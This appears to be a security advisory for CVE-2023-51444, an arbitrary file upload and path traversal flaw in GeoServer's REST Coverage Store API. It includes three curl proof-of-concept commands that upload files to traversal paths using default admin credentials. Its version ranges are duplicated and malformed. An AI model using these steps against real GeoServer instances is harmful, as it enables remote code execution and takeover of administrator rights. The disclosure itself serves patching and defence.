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Security Advisories: GSA_kwCzR0hTQS05djVxLTJnd3EtcTlocc4AA6JG

Arbitrary file upload vulnerability in GeoServer's REST Coverage Store API


An arbitrary file upload vulnerability exists that enables an authenticated administrator with permissions to modify coverage stores through the REST Coverage Store API to upload arbitrary file contents to arbitrary file locations which can lead to remote code execution.


Coverage stores that are configured using relative paths use a GeoServer Resource implementation that has validation to prevent path traversal but coverage stores that are configured using absolute paths use a different Resource implementation that does not prevent path traversal.


Step 1 (create sample coverage store):
curl -vXPUT -H"Content-type:application/zip" -u"admin:geoserver" --data-binary "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.imagemosaic"
Step 2 (switch store to absolute URL):
curl -vXPUT -H"Content-Type:application/xml" -u"admin:geoserver" -d"file:///{absolute path to data directory}/data/sf/filewrite" "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite"
Step 3 (upload arbitrary files):
curl -vH"Content-Type:" -u"admin:geoserver" --data-binary @file/to/upload "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.a?filename=../../../../../../../../../../file/to/write"
Steps 1 & 2 can be combined into a single POST REST call if local write access to anywhere on the the file system that GeoServer can read is possible (e.g., the /tmp directory).


This vulnerability can lead to executing arbitrary code. An administrator with limited privileges could also potentially exploit this to overwrite GeoServer security files and obtain full administrator privileges.


Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: about 1 month ago
Updated: about 1 month ago

CVSS Score: 7.2
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Identifiers: GHSA-9v5q-2gwq-q9hq, CVE-2023-51444
References: Repository:
Blast Radius: 1.0

Affected Packages

Affected Version Ranges: = 2.24.0, < 2.23.4
Fixed in: 2.24.1, 2.23.4
Affected Version Ranges: = 2.24.0, < 2.23.4
Fixed in: 2.24.1, 2.23.4